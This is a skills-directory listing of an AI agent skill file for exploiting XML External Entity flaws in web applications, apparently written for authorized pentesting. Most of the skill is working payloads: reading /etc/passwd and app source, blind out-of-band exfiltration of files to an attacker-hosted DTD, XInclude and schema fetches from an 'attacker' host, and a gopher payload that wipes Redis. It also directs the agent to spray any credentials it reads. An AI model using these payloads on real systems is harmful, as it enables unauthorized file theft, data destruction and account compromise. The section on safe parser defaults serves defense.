Back to skills
SKILL.md
Xxe
BSecurityXML External Entity injection detection→file-read/SSRF→proof for web apps. Use when the app parses XML you influence - SOAP/REST XML bodies, SAML, RSS/Atom, DOCX/XLSX/SVG/XML file uploads, sitemap import, SVG avatars. Triggers - Content-Type application/xml or text/xml, <?xml, SOAPAction header, SAMLResponse, .docx/.svg upload, XML parse error.
- 1,278 stars
- 0 votes
- 0 copies
- 3 views
- Added August 31, 2026
Works with
Security analysis
88/100- Accesses sensitive system or user directories
npx -y skills add s0ld13rr/pentestcode --skill xxe --agent claude-codeAre you the author of Xxe?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/s0ld13rr-xxe)---
name: web-xxe
description: XML External Entity injection detection→file-read/SSRF→proof for web apps. Use when the app parses XML you influence - SOAP/REST XML bodies, SAML, RSS/Atom, DOCX/XLSX/SVG/XML file uploads, sitemap import, SVG avatars. Triggers - Content-Type application/xml or text/xml, <?xml, SOAPAction header, SAMLResponse, .docx/.svg upload, XML parse error.
tags: [vuln_assess, exploitation]
---
# XXE (XML External Entity)
## When this fires
The server parses attacker-influenced XML: XML/SOAP APIs, SAML, RSS import, or office/SVG file uploads (DOCX/XLSX are zipped XML — inject into `word/document.xml` etc.).
## Detect
```xml
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<root>&x;</root>
```
If `/etc/passwd` comes back in the response → classic in-band XXE. No reflection → test blind (OOB) below.
## Decide
- Entity value reflected in a response field → in-band file read.
- Not reflected but parser fetches your DTD → **blind XXE** → OOB exfil via external DTD.
- Non-printable/multiline files break the parser → use `php://filter` base64 wrapper (PHP) to read source.
- Entity fetches arbitrary URLs → **XXE→SSRF** (hit internal services / cloud metadata; see web-ssrf).
## Exploit → PROVE IMPACT
```xml
<!-- source disclosure (PHP): -->
<!DOCTYPE r [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]><root>&x;</root>
<!-- blind OOB exfil (host evil.dtd on your listener): -->
<!DOCTYPE r [<!ENTITY % p SYSTEM "http://<OOB>/evil.dtd"> %p;]>
<!-- evil.dtd: -->
<!ENTITY % f SYSTEM "file:///etc/passwd">
<!ENTITY % e "<!ENTITY % x SYSTEM 'http://<OOB>/?d=%f;'>"> %e; %x;
```
**Proof required:** contents of a server file (`/etc/passwd`, app source, a secret) or a provable OOB fetch of a file's bytes. Read creds → add_credential + cred_spray.
## Tooling
`nuclei -tags xxe`; for DOCX/XLSX: unzip, inject into the XML part, re-zip, upload. Host the OOB DTD on your attacker box (internal targets: transfer the listener inward).
## False positives / pitfalls
- Parser has external entities disabled → in-band fails; blind/parameter-entity variant may still work; if the DTD isn't fetched at all, it's patched.
- WAF blocks `<!DOCTYPE>` → try UTF-16/UTF-7 encoding, or a nested/parameter-entity form.
- Reflected-but-not-parsed input = not XXE.
## 2024-2025 additions
### Modern parser defaults (mostly safe by default)
- **Java (JAXP / DocumentBuilderFactory / SAXParserFactory)**: `setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)` and `setFeature("http://xml.org/sax/features/external-general-entities", false)` are default in JDK 11+ / recent libraries. Check `feature.setFeature("http://xml.org/sax/features/external-parameter-entities", false)`.
- **.NET (XmlReader / XmlDocument)**: `XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit` default in .NET 6+. `XmlDocument.XmlResolver = null` blocks DTD.
- **Python (defusedxml / lxml / xml.etree)**: `defusedxml` safe by default; `lxml.etree.XMLParser(resolve_entities=False)`; `xml.etree.ElementTree` no network by default.
- **Go (encoding/xml)**: `Decoder.Entity` not set = no external entities. Safe by default.
- **Node.js (xmldom / libxmljs / fast-xml-parser)**: Most disable DTD by default; check `DOMParser` options.
### Bypass techniques for hardened parsers
- **Parameter entities (blind XXE)**: Even if general entities blocked, parameter entities (`<!ENTITY % p SYSTEM "..."> %p;`) may still work for OOB.
- **`expect` / `php://` / `data:` / `jar:` wrappers**: If entity expansion works, try protocol handlers for SSRF/RCE.
- **XML Schema (XSD) `xsi:schemaLocation`**: `xsi:schemaLocation="ns http://attacker/evil.xsd"` → parser fetches XSD → SSRF.
- **XInclude**: `<xi:include href="http://attacker/evil.xml" parse="xml"/>` — if XInclude enabled.
- **SVG / Office XML**: `.svg` (XML-based) → `<image xlink:href="http://attacker/...">` or `<use xlink:href="...">`. `.docx`/`.xlsx` → unzip, inject into `word/document.xml` or `xl/workbook.xml`, re-zip.
- **SAML / WS-Federation**: `SAMLResponse` / `wst:RequestSecurityToken` — signed XML; if signature validation skipped or cert trusted → XXE in assertion.
### XXE → SSRF chains (2024)
- **Cloud metadata via XXE**: `file:///etc/passwd` works, but `http://169.254.169.254/latest/meta-data/` requires `http`/`https` scheme — some parsers block external HTTP but allow `file`. Try `file:///proc/net/tcp` for port scan.
- **gopher:// via XXE**: `gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a` → Redis flush via XXE if parser supports `gopher`.
- **XXE in SOAP headers**: `wsse:Security` / `wsse:BinarySecurityToken` — if parsed separately.
### Tooling
- **`nuclei -tags xxe`** (2024): `xxe-file-read`, `xxe-blind-oob`, `xxe-ssrf`, `xxe-svg`, `xxe-docx`, `xxe-saml`.
- **`xxe-injector`** / **`XXEinjector`** (Ruby): Automated blind XXE exploitation with OOB DTD hosting.
- **`OXID` / `XML External Entity Attack`** Burp extension: Auto-detect + exploit.
- **`docx-xxe`** / **`xlsx-xxe`** scripts: Inject XXE into office docs.
Attribution
Related skills
View all in ai-agents →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.